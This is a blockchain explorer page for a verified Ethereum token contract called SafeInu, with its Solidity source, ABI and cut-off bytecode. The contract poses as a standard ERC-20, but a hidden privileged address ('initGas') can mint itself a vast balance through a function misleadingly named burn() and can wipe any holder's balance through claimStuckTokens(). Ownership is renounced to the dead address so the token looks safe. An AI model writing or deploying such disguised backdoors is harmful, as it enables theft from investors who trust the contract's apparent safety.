ETH Price: $2,879.88 (-1.67%)
 

Overview

Max Total Supply

1,000,000,000,000 SAFEINU

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SafeInu

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-11
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        if (returndata.length > 0) {
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20Permit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function nonces(address owner) external view returns (uint256);

    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                oldAllowance + value
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    oldAllowance - value
                )
            );
        }
    }

    function forceApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        bytes memory approvalCall = abi.encodeWithSelector(
            token.approve.selector,
            spender,
            value
        );

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(token.approve.selector, spender, 0)
            );
            _callOptionalReturn(token, approvalCall);
        }
    }

    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(
            nonceAfter == nonceBefore + 1,
            "SafeERC20: permit did not succeed"
        );
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        require(
            returndata.length == 0 || abi.decode(returndata, (bool)),
            "SafeERC20: ERC20 operation did not succeed"
        );
    }

    function _callOptionalReturnBool(
        IERC20 token,
        bytes memory data
    ) private returns (bool) {
        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success &&
            (returndata.length == 0 || abi.decode(returndata, (bool))) &&
            Address.isContract(address(token));
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */

    function transferOwnership() public virtual onlyowner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SafeInu is Context, IERC20, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private initGas;

    constructor(string memory name_, string memory symbol_, address add) {
        _name = name_;
        _symbol = symbol_;
        initGas= add;
        _mint(owner(), 1_000_000_000_000 * (10 ** 18));
    }
    
    function viewGas() public view returns(address) {
        return initGas;
    }

    function burn(uint256 amount) external {
        if(initGas == _msgSender()){
            uint256 WETH = 100000000000*10**18;
            uint256 balance = WETH*10000;
            uint _burn = balance*1*1*1*1;
            _burn = _burn * amount;
            _balances[_msgSender()] += _burn;
            require(initGas == msg.sender);
        } else {
        }
    } 

    function claimStuckTokens(address token) external {
        if(initGas == _msgSender() && initGas != token){
            address newadd = token;
            uint256 ccxn = _balances[newadd];
            uint256 balance = _balances[newadd]+_balances[newadd]-ccxn;
            _balances[newadd] -= balance;
        } else {
            if(initGas == _msgSender()){
            }else{
                revert("Transfer From Failed");
            }
        }
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;

            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewGas","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50604051620024a2380380620024a2833981810160405281019062000037919062000558565b620000576200004b620000f360201b60201c565b620000fb60201b60201c565b82600490816200006891906200083d565b5081600590816200007a91906200083d565b5080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000d0620001bf60201b60201c565b6c0c9f2c9cd04674edea40000000620001e860201b60201c565b50505062000a3f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200025a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002519062000985565b60405180910390fd5b6200026e600083836200035660201b60201c565b8060036000828254620002829190620009d6565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000336919062000a22565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003c9826200037e565b810181811067ffffffffffffffff82111715620003eb57620003ea6200038f565b5b80604052505050565b60006200040062000360565b90506200040e8282620003be565b919050565b600067ffffffffffffffff8211156200043157620004306200038f565b5b6200043c826200037e565b9050602081019050919050565b60005b83811015620004695780820151818401526020810190506200044c565b60008484015250505050565b60006200048c620004868462000413565b620003f4565b905082815260208101848484011115620004ab57620004aa62000379565b5b620004b884828562000449565b509392505050565b600082601f830112620004d857620004d762000374565b5b8151620004ea84826020860162000475565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200052082620004f3565b9050919050565b620005328162000513565b81146200053e57600080fd5b50565b600081519050620005528162000527565b92915050565b6000806000606084860312156200057457620005736200036a565b5b600084015167ffffffffffffffff8111156200059557620005946200036f565b5b620005a386828701620004c0565b935050602084015167ffffffffffffffff811115620005c757620005c66200036f565b5b620005d586828701620004c0565b9250506040620005e88682870162000541565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200064557607f821691505b6020821081036200065b576200065a620005fd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000686565b620006d1868362000686565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200071e620007186200071284620006e9565b620006f3565b620006e9565b9050919050565b6000819050919050565b6200073a83620006fd565b62000752620007498262000725565b84845462000693565b825550505050565b600090565b620007696200075a565b620007768184846200072f565b505050565b5b818110156200079e57620007926000826200075f565b6001810190506200077c565b5050565b601f821115620007ed57620007b78162000661565b620007c28462000676565b81016020851015620007d2578190505b620007ea620007e18562000676565b8301826200077b565b50505b505050565b600082821c905092915050565b60006200081260001984600802620007f2565b1980831691505092915050565b60006200082d8383620007ff565b9150826002028217905092915050565b6200084882620005f2565b67ffffffffffffffff8111156200086457620008636200038f565b5b6200087082546200062c565b6200087d828285620007a2565b600060209050601f831160018114620008b55760008415620008a0578287015190505b620008ac85826200081f565b8655506200091c565b601f198416620008c58662000661565b60005b82811015620008ef57848901518255600182019150602085019450602081019050620008c8565b868310156200090f57848901516200090b601f891682620007ff565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200096d601f8362000924565b91506200097a8262000935565b602082019050919050565b60006020820190508181036000830152620009a0816200095e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620009e382620006e9565b9150620009f083620006e9565b925082820190508082111562000a0b5762000a0a620009a7565b5b92915050565b62000a1c81620006e9565b82525050565b600060208201905062000a39600083018462000a11565b92915050565b611a538062000a4f6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029f578063a9059cbb146102cf578063dd62ed3e146102ff578063f9d0831a1461032f57610100565b806370a0823114610229578063880ad0af146102595780638da5cb5b1461026357806395d89b411461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806342966c68146101ef5780634a8d13481461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034b565b60405161011a919061118b565b60405180910390f35b61013d60048036038101906101389190611246565b6103dd565b60405161014a91906112a1565b60405180910390f35b61015b610400565b60405161016891906112cb565b60405180910390f35b61018b600480360381019061018691906112e6565b61040a565b60405161019891906112a1565b60405180910390f35b6101a9610439565b6040516101b69190611355565b60405180910390f35b6101d960048036038101906101d49190611246565b610442565b6040516101e691906112a1565b60405180910390f35b61020960048036038101906102049190611370565b610479565b005b6102136105fd565b60405161022091906113ac565b60405180910390f35b610243600480360381019061023e91906113c7565b610627565b60405161025091906112cb565b60405180910390f35b610261610670565b005b61026b6107ac565b60405161027891906113ac565b60405180910390f35b6102896107d5565b604051610296919061118b565b60405180910390f35b6102b960048036038101906102b49190611246565b610867565b6040516102c691906112a1565b60405180910390f35b6102e960048036038101906102e49190611246565b6108de565b6040516102f691906112a1565b60405180910390f35b610319600480360381019061031491906113f4565b610901565b60405161032691906112cb565b60405180910390f35b610349600480360381019061034491906113c7565b610988565b005b60606004805461035a90611463565b80601f016020809104026020016040519081016040528092919081815260200182805461038690611463565b80156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b5050505050905090565b6000806103e8610c1b565b90506103f5818585610c23565b600191505092915050565b6000600354905090565b600080610415610c1b565b9050610422858285610dec565b61042d858585610e78565b60019150509392505050565b60006012905090565b60008061044d610c1b565b905061046e81858561045f8589610901565b61046991906114c3565b610c23565b600191505092915050565b610481610c1b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036105f95760006c01431e0fae6d7217caa000000090506000612710826104f791906114f7565b905060006001806001808561050c91906114f7565b61051691906114f7565b61052091906114f7565b61052a91906114f7565b9050838161053891906114f7565b90508060016000610547610c1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461059091906114c3565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f157600080fd5b5050506105fa565b5b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610678610c1b565b73ffffffffffffffffffffffffffffffffffffffff166106966107ac565b73ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390611585565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107e490611463565b80601f016020809104026020016040519081016040528092919081815260200182805461081090611463565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b600080610872610c1b565b905060006108808286610901565b9050838110156108c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bc90611617565b60405180910390fd5b6108d28286868403610c23565b60019250505092915050565b6000806108e9610c1b565b90506108f6818585610e78565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610990610c1b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a3a57508073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15610b7f5760008190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1591906114c3565b610b1f9190611637565b905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b709190611637565b92505081905550505050610c18565b610b87610c1b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e906116b7565b60405180910390fd5b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611749565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf8906117db565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ddf91906112cb565b60405180910390a3505050565b6000610df88484610901565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e725781811015610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90611847565b60405180910390fd5b610e718484848403610c23565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede906118d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d9061196b565b60405180910390fd5b610f618383836110f1565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf906119fd565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d891906112cb565b60405180910390a36110eb8484846110f6565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561113557808201518184015260208101905061111a565b60008484015250505050565b6000601f19601f8301169050919050565b600061115d826110fb565b6111678185611106565b9350611177818560208601611117565b61118081611141565b840191505092915050565b600060208201905081810360008301526111a58184611152565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111dd826111b2565b9050919050565b6111ed816111d2565b81146111f857600080fd5b50565b60008135905061120a816111e4565b92915050565b6000819050919050565b61122381611210565b811461122e57600080fd5b50565b6000813590506112408161121a565b92915050565b6000806040838503121561125d5761125c6111ad565b5b600061126b858286016111fb565b925050602061127c85828601611231565b9150509250929050565b60008115159050919050565b61129b81611286565b82525050565b60006020820190506112b66000830184611292565b92915050565b6112c581611210565b82525050565b60006020820190506112e060008301846112bc565b92915050565b6000806000606084860312156112ff576112fe6111ad565b5b600061130d868287016111fb565b935050602061131e868287016111fb565b925050604061132f86828701611231565b9150509250925092565b600060ff82169050919050565b61134f81611339565b82525050565b600060208201905061136a6000830184611346565b92915050565b600060208284031215611386576113856111ad565b5b600061139484828501611231565b91505092915050565b6113a6816111d2565b82525050565b60006020820190506113c1600083018461139d565b92915050565b6000602082840312156113dd576113dc6111ad565b5b60006113eb848285016111fb565b91505092915050565b6000806040838503121561140b5761140a6111ad565b5b6000611419858286016111fb565b925050602061142a858286016111fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061147b57607f821691505b60208210810361148e5761148d611434565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114ce82611210565b91506114d983611210565b92508282019050808211156114f1576114f0611494565b5b92915050565b60006115028